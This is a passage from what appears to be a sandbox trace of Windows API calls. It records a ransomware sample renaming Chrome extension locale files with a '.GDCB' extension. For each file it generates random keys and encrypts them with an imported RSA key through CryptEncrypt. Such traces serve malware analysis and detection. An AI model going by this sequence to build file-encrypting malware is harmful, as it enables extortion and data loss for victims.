Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.223] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.226] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.228] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xde, lpOverlapped=0x0) returned 1 [0254.237] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.243] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.gdcb")) returned 1 [0254.249] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.252] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.254] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.254] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.254] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.254] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.257] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.259] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.259] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.259] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.259] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.261] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782ac8) returned 1 [0254.261] CryptGetKeyParam (in: hKey=0x6782ac8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.261] CryptEncrypt (in: hKey=0x6782ac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.262] GetLastError () returned 0x0 [0254.262] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.262] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.263] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782ec8) returned 1 [0254.263] CryptGetKeyParam (in: hKey=0x6782ec8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.263] CryptEncrypt (in: hKey=0x6782ec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.264] GetLastError () returned 0x0 [0254.264] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.264] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.265] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.268] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.270] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe1, lpOverlapped=0x0) returned 1 [0254.279] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.286] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.gdcb")) returned 1 [0254.293] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.296] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.298] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.298] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.298] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.298] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.301] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.303] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.303] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.303] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.303] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.305] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782f08) returned 1 [0254.305] CryptGetKeyParam (in: hKey=0x6782f08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.305] CryptEncrypt (in: hKey=0x6782f08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.306] GetLastError () returned 0x0 [0254.306] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.306] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.308] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783008) returned 1 [0254.308] CryptGetKeyParam (in: hKey=0x6783008, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.308] CryptEncrypt (in: hKey=0x6783008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.308] GetLastError () returned 0x0 [0254.308] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.308] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.309] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.312] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.315] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x123, lpOverlapped=0x0) returned 1 [0254.323] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.332] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.gdcb")) returned 1 [0254.337] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.340] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.342] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.342] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.342] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.342] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.345] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.347] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.347] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.347] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.348] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.350] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782f48) returned 1 [0254.350] CryptGetKeyParam (in: hKey=0x6782f48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.350] CryptEncrypt (in: hKey=0x6782f48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.350] GetLastError () returned 0x0 [0254.350] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.350] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.352] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782f88) returned 1 [0254.352] CryptGetKeyParam (in: hKey=0x6782f88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.352] CryptEncrypt (in: hKey=0x6782f88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.353] GetLastError () returned 0x0 [0254.353] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.353] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.354] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.357] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.361] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe6, lpOverlapped=0x0) returned 1 [0254.368] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.376] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.gdcb")) returned 1 [0254.381] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0254.385] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.388] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.388] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.388] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.392] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.395] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.395] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.395] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.395] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.398] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782c08) returned 1 [0254.398] CryptGetKeyParam (in: hKey=0x6782c08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.398] CryptEncrypt (in: hKey=0x6782c08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.398] GetLastError () returned 0x0 [0254.398] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.398] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0254.401] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782b08) returned 1 [0254.401] CryptGetKeyParam (in: hKey=0x6782b08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.401] CryptEncrypt (in: hKey=0x6782b08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.401] GetLastError () returned 0x0 [0254.401] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.401] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.402] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.405] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.408] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd0, lpOverlapped=0x0) returned 1 [0254.415] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.430] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.gdcb")) returned 1 [0254.436] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0254.439] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.441] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.442] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.442] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.442] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.444] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.446] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.446] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.446] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.447] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.449] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782a08) returned 1 [0254.449] CryptGetKeyParam (in: hKey=0x6782a08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.449] CryptEncrypt (in: hKey=0x6782a08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.449] GetLastError () returned 0x0 [0254.449] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.449] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0254.451] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782b48) returned 1 [0254.451] CryptGetKeyParam (in: hKey=0x6782b48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.451] CryptEncrypt (in: hKey=0x6782b48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.451] GetLastError () returned 0x0 [0254.451] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.451] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 